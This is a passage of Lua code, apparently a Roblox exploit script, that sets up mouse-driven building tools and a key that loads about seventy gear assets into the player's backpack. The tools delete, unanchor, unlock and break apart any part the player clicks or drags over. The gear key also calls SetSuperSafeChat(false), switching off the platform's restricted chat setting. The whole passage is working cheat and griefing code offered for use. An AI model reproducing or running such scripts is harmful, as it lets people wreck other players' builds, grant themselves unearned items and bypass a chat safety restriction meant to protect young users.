if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
if(md3==1)then
mouse.Target.Anchored=true
elseif(md3==2)then
mouse.Target.Anchored=false
end
end
end
end
end
end
end)
end
function achUp()
ach_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function colDown()
col_downFunc=mouse.Button1Down:connect(function()
md2=3
if(md2==3)then
if(md1==1)then
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
if(mouse.Target.CanCollide)then
mouse.Target.CanCollide=false
else
mouse.Target.CanCollide=true
end
end
end
elseif(md1==2)then
lvi=true
while(lvi)and wait() do
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
if(md3==1)then
mouse.Target.CanCollide=true
elseif(md3==2)then
mouse.Target.CanCollide=false
end
end
end
end
end
end
end)
end
function colUp()
col_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function lckDown()
lck_downFunc=mouse.Button1Down:connect(function()
md2=4
if(md2==4)then
if(md1==1)then
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
if(mouse.Target.Locked)then
mouse.Target.Locked=false
else
mouse.Target.Locked=true
end
end
end
elseif(md1==2)then
lvi=true
while(lvi)and wait() do
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
if(md3==1)then
mouse.Target.Locked=true
elseif(md3==2)then
mouse.Target.Locked=false
end
end
end
end
end
end
end)
end
function lckUp()
lck_upFunc=mouse.Button1Up:connect(function()
lvi=false
end)
end
function brkDown()
brk_downFunc=mouse.Button1Down:connect(function()
md2=5
if(md2==5)then
if(md1==1)then
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
clr=false
box.Color=BrickColor.new("Bright red")
mouse.Target:BreakJoints()
end
end
elseif(md1==2)then
lvi=true
while(lvi)and wait() do
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
mouse.Target:BreakJoints()
cle=true
else
cle=true
end
else
cle=false
end
end
end
end
end)
end
function brkUp()
brk_upFunc=mouse.Button1Up:connect(function()
clr=true
lvi=false
cle=false
end)
end
delDown()
delUp()
achDown()
achUp()
colDown()
colUp()
lckDown()
lckUp()
brkDown()
brkUp()
del.MouseButton1Click:connect(function()
md2=1
del_downFunc:disconnect()
del_upFunc:disconnect()
ach_downFunc:disconnect()
ach_upFunc:disconnect()
col_downFunc:disconnect()
col_upFunc:disconnect()
lck_downFunc:disconnect()
lck_upFunc:disconnect()
brk_downFunc:disconnect()
brk_upFunc:disconnect()
del.Style="RobloxButtonDefault"
del.Selected=true
ach.Style="RobloxButton"
ach.Selected=false
col.Style="RobloxButton"
col.Selected=false
lck.Style="RobloxButton"
lck.Selected=false
brk.Style="RobloxButton"
brk.Selected=false
delDown()
delUp()
end)
ach.MouseButton1Click:connect(function()
md2=2
del_downFunc:disconnect()
del_upFunc:disconnect()
ach_downFunc:disconnect()
ach_upFunc:disconnect()
col_downFunc:disconnect()
col_upFunc:disconnect()
lck_downFunc:disconnect()
lck_upFunc:disconnect()
brk_downFunc:disconnect()
brk_upFunc:disconnect()
del.Style="RobloxButton"
del.Selected=false
ach.Style="RobloxButtonDefault"
ach.Selected=true
col.Style="RobloxButton"
col.Selected=false
lck.Style="RobloxButton"
lck.Selected=false
brk.Style="RobloxButton"
brk.Selected=false
achDown()
achUp()
end)
col.MouseButton1Click:connect(function()
md2=3
del_downFunc:disconnect()
del_upFunc:disconnect()
ach_downFunc:disconnect()
ach_upFunc:disconnect()
col_downFunc:disconnect()
col_upFunc:disconnect()
lck_downFunc:disconnect()
lck_upFunc:disconnect()
brk_downFunc:disconnect()
brk_upFunc:disconnect()
del.Style="RobloxButton"
del.Selected=false
ach.Style="RobloxButton"
ach.Selected=false
col.Style="RobloxButtonDefault"
col.Selected=true
lck.Style="RobloxButton"
lck.Selected=false
brk.Style="RobloxButton"
brk.Selected=false
colDown()
colUp()
end)
lck.MouseButton1Click:connect(function()
md2=4
del_downFunc:disconnect()
del_upFunc:disconnect()
ach_downFunc:disconnect()
ach_upFunc:disconnect()
col_downFunc:disconnect()
col_upFunc:disconnect()
lck_downFunc:disconnect()
lck_upFunc:disconnect()
brk_downFunc:disconnect()
brk_upFunc:disconnect()
del.Style="RobloxButton"
del.Selected=false
ach.Style="RobloxButton"
ach.Selected=false
col.Style="RobloxButton"
col.Selected=false
lck.Style="RobloxButtonDefault"
lck.Selected=true
brk.Style="RobloxButton"
brk.Selected=false
lckDown()
lckUp()
end)
brk.MouseButton1Click:connect(function()
md2=5
del_downFunc:disconnect()
del_upFunc:disconnect()
ach_downFunc:disconnect()
ach_upFunc:disconnect()
col_downFunc:disconnect()
col_upFunc:disconnect()
lck_downFunc:disconnect()
lck_upFunc:disconnect()
brk_downFunc:disconnect()
brk_upFunc:disconnect()
del.Style="RobloxButton"
del.Selected=false
ach.Style="RobloxButton"
ach.Selected=false
col.Style="RobloxButton"
col.Selected=false
lck.Style="RobloxButton"
lck.Selected=false
brk.Style="RobloxButtonDefault"
brk.Selected=true
brkDown()
brkUp()
end)
set.MouseButton1Click:connect(function()
if(ste)then
ste=false
frs.Visible=false
set.Style="RobloxButton"
else
ste=true
frs.Visible=true
set.Style="RobloxButtonDefault"
end
end)
cls.MouseButton1Click:connect(function()
ste=false
frs.Visible=false
set.Style="RobloxButton"
end)
ckb.MouseButton1Click:connect(function()
md1=1
ckb.Style="RobloxButtonDefault"
ckb.Selected=true
ckb.Text="Enabled"
ckb.TextColor3=Color3.new(0,1,0)
ryb.Style="RobloxButton"
ryb.Selected=false
ryb.Text="Disabled"
ryb.TextColor3=Color3.new(1,0,0)
end)
ryb.MouseButton1Click:connect(function()
md1=2
ryb.Style="RobloxButtonDefault"
ryb.Selected=true
ryb.Text="Enabled"
ryb.TextColor3=Color3.new(0,1,0)
ckb.Style="RobloxButton"
ckb.Selected=false
ckb.Text="Disabled"
ckb.TextColor3=Color3.new(1,0,0)
end)
rfb.MouseButton1Click:connect(function()
if(md3==1)then
md3=2
rfb.Style="RobloxButton"
rfb.Text="Disable Propertie"
rfb.TextColor3=Color3.new(1,0,0)
elseif(md3==2)then
md3=1
rfb.Style="RobloxButtonDefault"
rfb.Text="Enable Propertie"
rfb.TextColor3=Color3.new(0,1,0)
end
end)
end)
bin.Deselected:connect(function() print("iBTool_Deselected")
clr=false
if(box~=nil)then
box:remove()
end
if(lso~=nil)then
lso:remove()
end
if(gui~=nil)then
gui:remove()
end
end)]]
iBToolScript.Disabled=true
iBToolScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
local load=ctool("LoadingBTools...")
end
local insrt1 =
game:GetService("InsertService"):LoadAsset(58901534)--resize
for _, v in pairs(insrt1:GetChildren()) do
v.Name='iResizeTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt1 =
game:GetService("InsertService"):LoadAsset(16975388)--config1
for _, v in pairs(insrt1:GetChildren()) do
v.Name='iConfigTool1'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt2 =
game:GetService("InsertService"):LoadAsset(18474459)--paint
for _, v in pairs(insrt2:GetChildren()) do
v.Name='iPaintTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt3 =
game:GetService("InsertService"):LoadAsset(36334760)--dragger
for _, v in pairs(insrt3:GetChildren()) do
v.Name='iDraggerTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt4 =
game:GetService("InsertService"):LoadAsset(58901405)--material
for _, v in pairs(insrt4:GetChildren()) do
v.Name='iMaterialTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt5 =
game:GetService("InsertService"):LoadAsset(58901575)--surface
for _, v in pairs(insrt5:GetChildren()) do
v.Name='iSurfaceTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt6 =
game:GetService("InsertService"):LoadAsset(58901335)--insert
for _, v in pairs(insrt6:GetChildren()) do
v.Name='iInsertTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt7 =
game:GetService("InsertService"):LoadAsset(55028088)--stamper
for _, v in pairs(insrt7:GetChildren()) do
v.Name='iStamperTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt8 =
game:GetService("InsertService"):LoadAsset(73089239)--config2
for _, v in pairs(insrt8:GetChildren()) do
v.Name='iConfigTool2'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt9 =
game:GetService("InsertService"):LoadAsset(58880579)--rotate
for _, v in pairs(insrt9:GetChildren()) do
v.Name='iRotateTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(60791062)--wiring
for _, v in pairs(insrt10:GetChildren()) do
v.Name='iWiringTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(36738185)--delete
for _, v in pairs(insrt10:GetChildren()) do
v.Name='iDeleteTool'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
wait()
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."):remove()
end
end))
elseif Key==GearKey then
Player:SetSuperSafeChat(false)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
MergeTool=ctool("iMergeTool")
MergeScript=Instance.new("LocalScript",MergeTool)
end
MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
local load=ctool("LoadingGears...")
end
local insrt8 =
game:GetService("InsertService"):LoadAsset(16688968)--coil
for _, v in pairs(insrt8:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt9 =
game:GetService("InsertService"):LoadAsset(52180871)--remotecontroltruck
for _, v in pairs(insrt9:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt10 =
game:GetService("InsertService"):LoadAsset(55917429)--bow
for _, v in pairs(insrt10:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt11 =
game:GetService("InsertService"):LoadAsset(31314931)--epicsauce
for _, v in pairs(insrt11:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt12 =
game:GetService("InsertService"):LoadAsset(65545955)--dancegrenade
for _, v in pairs(insrt12:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt13 =
game:GetService("InsertService"):LoadAsset(28277486)--bomb
for _, v in pairs(insrt13:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt14 =
game:GetService("InsertService"):LoadAsset(27902406)--skate
for _, v in pairs(insrt14:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt15 =
game:GetService("InsertService"):LoadAsset(42845853)--freezeray
for _, v in pairs(insrt15:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt16 =
game:GetService("InsertService"):LoadAsset(50937815)--atomgun
for _, v in pairs(insrt16:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt17 =
game:GetService("InsertService"):LoadAsset(34898883)--platformproducer
for _, v in pairs(insrt17:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt18 =
game:GetService("InsertService"):LoadAsset(35683911)--wallwalker
for _, v in pairs(insrt18:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt19 =
game:GetService("InsertService"):LoadAsset(68603151)--sentry
for _, v in pairs(insrt19:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt20 =
game:GetService("InsertService"):LoadAsset(26421972)--zombie
for _, v in pairs(insrt20:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt21 =
game:GetService("InsertService"):LoadAsset(34901961)--gravity
for _, v in pairs(insrt21:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt22 =
game:GetService("InsertService"):LoadAsset(10468797)--banhammer
for _, v in pairs(insrt22:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt23 =
game:GetService("InsertService"):LoadAsset(71422361)--coolsword1
for _, v in pairs(insrt23:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt24 =
game:GetService("InsertService"):LoadAsset(62350883)--coolsword2
for _, v in pairs(insrt24:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt25 =
game:GetService("InsertService"):LoadAsset(30847733)--vinestaff
for _, v in pairs(insrt25:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt26 =
game:GetService("InsertService"):LoadAsset(48596324)--leviatingstaff
for _, v in pairs(insrt26:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt27 =
game:GetService("InsertService"):LoadAsset(61459706)--polaritystaff
for _, v in pairs(insrt27:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt28 =
game:GetService("InsertService"):LoadAsset(66416616)--zeusstaff
for _, v in pairs(insrt28:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt29 =
game:GetService("InsertService"):LoadAsset(33866846)--gravhammer
for _, v in pairs(insrt29:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt30 =
game:GetService("InsertService"):LoadAsset(30847779)--magicninja
for _, v in pairs(insrt30:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt31 =
game:GetService("InsertService"):LoadAsset(60888284)--dualkamas
for _, v in pairs(insrt31:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt32 =
game:GetService("InsertService"):LoadAsset(42845609)--bbgun
for _, v in pairs(insrt32:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt33 =
game:GetService("InsertService"):LoadAsset(32356064)--rocketlauncher
for _, v in pairs(insrt33:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt34 =
game:GetService("InsertService"):LoadAsset(69209924)--r80launcher
for _, v in pairs(insrt34:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt35 =
game:GetService("InsertService"):LoadAsset(69947379)--revengeancespear
for _, v in pairs(insrt35:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt36 =
game:GetService("InsertService"):LoadAsset(51760061)--deathspeaker
for _, v in pairs(insrt36:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt37 =
game:GetService("InsertService"):LoadAsset(59175769)--flamethrower1
for _, v in pairs(insrt37:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt38 =
game:GetService("InsertService"):LoadAsset(69499452)--laservision
for _, v in pairs(insrt38:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt39 =
game:GetService("InsertService"):LoadAsset(65082246)--dreamselixir
for _, v in pairs(insrt39:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt40 =
game:GetService("InsertService"):LoadAsset(55917420)--hydrianelexir
for _, v in pairs(insrt40:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt41 =
game:GetService("InsertService"):LoadAsset(50938746)--fermionblade
for _, v in pairs(insrt41:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt42 =
game:GetService("InsertService"):LoadAsset(72644644)--quantumentangler
for _, v in pairs(insrt42:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt43 =
game:GetService("InsertService"):LoadAsset(72713855)--giantoform
for _, v in pairs(insrt43:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt44 =
game:GetService("InsertService"):LoadAsset(26774629)--expander
for _, v in pairs(insrt44:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt45 =
game:GetService("InsertService"):LoadAsset(66426498)--kami
for _, v in pairs(insrt45:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt46 =
game:GetService("InsertService"):LoadAsset(66896565)--missiletoe
for _, v in pairs(insrt46:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt47 =
game:GetService("InsertService"):LoadAsset(69499437)--azureperiastron
for _, v in pairs(insrt47:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt48 =
game:GetService("InsertService"):LoadAsset(71037028)--magiccarpet
for _, v in pairs(insrt48:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt49 =
game:GetService("InsertService"):LoadAsset(68354832)--blizzardwand
for _, v in pairs(insrt49:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt50 =
game:GetService("InsertService"):LoadAsset(66896601)--neverendingfroststaff
for _, v in pairs(insrt50:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt51 =
game:GetService("InsertService"):LoadAsset(72644629)--orb
for _, v in pairs(insrt51:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt52 =
game:GetService("InsertService"):LoadAsset(48596305)--confusoray
for _, v in pairs(insrt52:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt53 =
game:GetService("InsertService"):LoadAsset(45941451)--danceblaster
for _, v in pairs(insrt53:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt54 =
game:GetService("InsertService"):LoadAsset(30393548)--grapplehook
for _, v in pairs(insrt54:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt55 =
game:GetService("InsertService"):LoadAsset(59848474)--deathspeakerbook
for _, v in pairs(insrt55:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt56 =
game:GetService("InsertService"):LoadAsset(49491736)--dracovinbook
for _, v in pairs(insrt56:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt57 =
game:GetService("InsertService"):LoadAsset(56561607)--dracovinwand
for _, v in pairs(insrt57:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt58 =
game:GetService("InsertService"):LoadAsset(49491716)--mischiefwand
for _, v in pairs(insrt58:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt59 =
game:GetService("InsertService"):LoadAsset(16979083)--flashbang
for _, v in pairs(insrt59:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt60 =
game:GetService("InsertService"):LoadAsset(27860496)--novawand
for _, v in pairs(insrt60:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt61 =
game:GetService("InsertService"):LoadAsset(56561579)--forgottenbook
for _, v in pairs(insrt61:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt62 =
game:GetService("InsertService"):LoadAsset(69210407)--remoteplanecontrol
for _, v in pairs(insrt62:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt63 =
game:GetService("InsertService"):LoadAsset(66823689)--icicleslicer
for _, v in pairs(insrt63:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt64 =
game:GetService("InsertService"):LoadAsset(61459678)--nekotikozphaser
for _, v in pairs(insrt64:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt65 =
game:GetService("InsertService"):LoadAsset(64220933)--ghostfiresword
for _, v in pairs(insrt65:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt66 =
game:GetService("InsertService"):LoadAsset(64869947)--ninjabomb
for _, v in pairs(insrt66:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt67 =
game:GetService("InsertService"):LoadAsset(14516975)--superdisruptor
for _, v in pairs(insrt67:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt68 =
game:GetService("InsertService"):LoadAsset(18268645)--disintergrexgun
for _, v in pairs(insrt68:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt69 =
game:GetService("InsertService"):LoadAsset(18462637)--windstaff
for _, v in pairs(insrt69:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt70 =
game:GetService("InsertService"):LoadAsset(13838639)--atomicdisintegrator
for _, v in pairs(insrt70:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt71 =
game:GetService("InsertService"):LoadAsset(33867016)--handcannon
for _, v in pairs(insrt71:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt72 =
game:GetService("InsertService"):LoadAsset(33879504)--flamethrower2
for _, v in pairs(insrt72:GetChildren()) do
v.Name='FlameThrower2'
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt73 =
game:GetService("InsertService"):LoadAsset(35366155)--hypnocannon
for _, v in pairs(insrt73:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt74 =
game:GetService("InsertService"):LoadAsset(28275809)--scythe
for _, v in pairs(insrt74:GetChildren()) do
if
